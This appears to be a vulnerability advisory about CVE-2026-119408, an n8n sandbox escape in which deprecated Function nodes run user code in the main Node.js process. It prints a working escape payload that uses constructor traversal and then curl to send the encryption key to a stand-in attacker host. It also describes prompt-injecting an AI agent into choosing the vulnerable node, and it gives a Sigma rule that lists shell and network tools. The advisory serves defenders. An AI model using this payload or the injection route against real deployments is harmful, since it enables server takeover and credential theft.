Skip to content

CVE-2026-119408: n8n Workflow Automation Task Runner Sandbox Isolation Escape via Deprecated Function Nodes Remote Code Execution

Density:
C-Level Executive Briefing CVE-2026-119408 CRITICAL SCORE 96/100

Critical AI workflow automation vulnerability weaponized and published by VulnCheck on October 31, 2026. Designated CVE-2026-119408, the flaw exists within n8n before versions 2.42.6, 2.43.3, and 3.0.1. Although modern n8n architectures isolate user-written and AI-generated scripts inside dedicated Task Runner processes or containers, deprecated legacy Function nodes (n8n-nodes-base.function) execute outside this boundary directly within the primary server Node.js process. An attacker who imports a crafted workflow or manipulates an autonomous agent into invoking legacy function execution escapes task runner containment, gaining direct access to host environment variables, encryption keys, internal database credentials, and the underlying server filesystem.

HYBRID

HERMES AGENTIC SECURITY SCORE & TASK RUNNER ESCAPE EVALUATION

Target: n8n Task Runner Sandbox Dispatcher & Legacy Function Node Execution Engine
Confidence: 98%
96 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20

n8n is an extensible workflow automation platform widely adopted by DevOps teams and AI engineers to orchestrate multi-agent workflows, API integrations, and webhook pipelines. In recent releases, n8n introduced an isolated Task Runner architecture (@n8n/task-runner), separating untrusted JavaScript code execution into distinct, resource-constrained worker processes or containers.

flowchart TD
A["Attacker (Workflow Author, Collaborator, or Indirect Prompt Injection)"] -->|"1. Injects workflow with legacy 'n8n-nodes-base.function' node"| B["n8n Orchestration Server (Main Process)"]
B -->|"2. Evaluates node execution route"| C{"Is Node Type 'Code' or Deprecated 'Function'?"}
C -->|"Modern Code Node"| D["Task Runner Worker (Sandboxed Child Process / Container)"]
C -->|"Deprecated Function Node"| E["Bypasses Task Runner Isolation!"]
E -->|"3. Dispatches code to Node.js vm in main process"| F["Main Server Thread (Full Access to Process Memory)"]
F -->|"4. Prototype breakout / direct process reference"| G["global.process.mainModule.require('child_process').execSync()"]
G -->|"5. Host Remote Code Execution & Secrets Extraction"| H["Stolen N8N_ENCRYPTION_KEY & Server Root Compromise"]

While modern Code nodes are intercepted by the workflow runner and dispatched via IPC to isolated worker processes with disabled native module loading, legacy Function nodes (n8n-nodes-base.function and n8n-nodes-base.functionItem) were maintained for backward compatibility.

In vulnerable versions (< 2.42.6, 2.43.0 < 2.43.3, and 3.0.0 < 3.0.1), these legacy nodes were omitted from the task runner routing table:

// Vulnerable execution dispatch logic in n8n-core/src/WorkflowExecute.ts
async function executeNode(node: INode, inputData: INodeExecutionData[][]): Promise<INodeExecutionData[][]> {
// Modern Code nodes are routed to the external Task Runner
if (node.type === 'n8n-nodes-base.code' && isTaskRunnerEnabled()) {
return await taskRunnerClient.execute(node, inputData);
}
// VULNERABILITY: Deprecated Function nodes bypass Task Runner entirely!
// They execute directly within the main server process context
if (node.type === 'n8n-nodes-base.function' || node.type === 'n8n-nodes-base.functionItem') {
const vmContext = vm.createContext({ ...sandboxContext });
const script = new vm.Script(node.parameters.jsCode);
return script.runInContext(vmContext);
}
return await defaultNodeExecutor(node, inputData);
}

Because Node.jsโ€™s built-in vm module does not guarantee security isolation against adversarial code, code running inside script.runInContext() can easily reference the host process object via constructor traversal:

// Payload breaking out of the unisolated legacy function node
const foreignProcess = this.constructor.constructor('return process')();
const childProcess = foreignProcess.mainModule.require('child_process');
childProcess.execSync('curl -s http://attacker.com/exfil?key=' + foreignProcess.env.N8N_ENCRYPTION_KEY);

This grants the attacker execution within the primary n8n process, which possesses full read access to /data/n8n/, SQLite/Postgres credentials, webhook signing secrets, and OAuth tokens for connected enterprise SaaS platforms.


Adversaries weaponize CVE-2026-119408 across multiple operational scenarios:

  1. Shared Workspace Hijacking: In multi-tenant or team n8n environments, a user with workflow authoring permissions imports a workflow containing a deprecated Function node with an embedded escape payload, instantly escalating privileges to full server control.
  2. Autonomous Agent Poisoning: In AI pipelines where an autonomous LLM writes custom code or dynamically builds workflows, prompt injection attacks against the agent coerce it into selecting the deprecated Function node type instead of Code, turning an agentic task into an unconstrained server breakout.
  3. Template Repository Weaponization: Malicious workflow templates shared on community hubs or GitHub repositories silently bundle deprecated nodes that harvest credentials upon initial test execution.

SOC teams and platform engineers should inspect workflow definitions for legacy function node instances and monitor parent-child process anomalies in n8n containers.

title: n8n Deprecated Function Node Sandbox Escape & Suspicious Process Spawn
id: c4e19830-71a2-4a0b-9321-cve2026119408
status: critical
description: Detects child process creation directly spawned by the main n8n server process rather than the isolated task runner daemon, indicating CVE-2026-119408 exploitation.
references:
- https://vulncheck.com/advisories/n8n-before-2.42.6-2.43.3-and-3.0.1-code-execution-outside-task-runner-isolation-via-deprecated-function-nodes
- https://github.com/n8n-io/n8n/security/advisories
author: Hermes Codex Cyber Defense Team
date: 2026-10-31
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/node'
- '/n8n'
ParentCommandLine|contains:
- 'n8n/bin/n8n'
- 'n8n start'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/curl'
- '/wget'
- '/nc'
- '/python'
filter_task_runner:
ParentCommandLine|contains: 'task-runner'
condition: selection_parent and selection_child and not filter_task_runner
falsepositives:
- Workflows explicitly configured with the Execute Command node (review for legitimacy)
level: critical
tags:
- attack.execution
- attack.t1059.007
- attack.t1611

  1. Upgrade n8n Engine: Deploy security releases 2.42.6, 2.43.3, or 3.0.1 immediately. In these versions, deprecated function nodes either route through the task runner or are formally removed from execution capabilities.
  2. Enforce Task Runner Isolation: Set N8N_RUNNERS_ENABLED=true and N8N_RUNNERS_MODE=external to ensure all script execution is strictly delegated to isolated, ephemeral worker containers with no host volume mounts.
  3. Rotate Master Encryption Keys: If anomalous process creation was detected on the n8n server, immediately rotate N8N_ENCRYPTION_KEY and all associated database credentials, API tokens, and webhook secrets.
  4. Deploy Workflow Linting: Configure CI/CD or ingest validation hooks that reject any workflow JSON definition containing n8n-nodes-base.function or n8n-nodes-base.functionItem.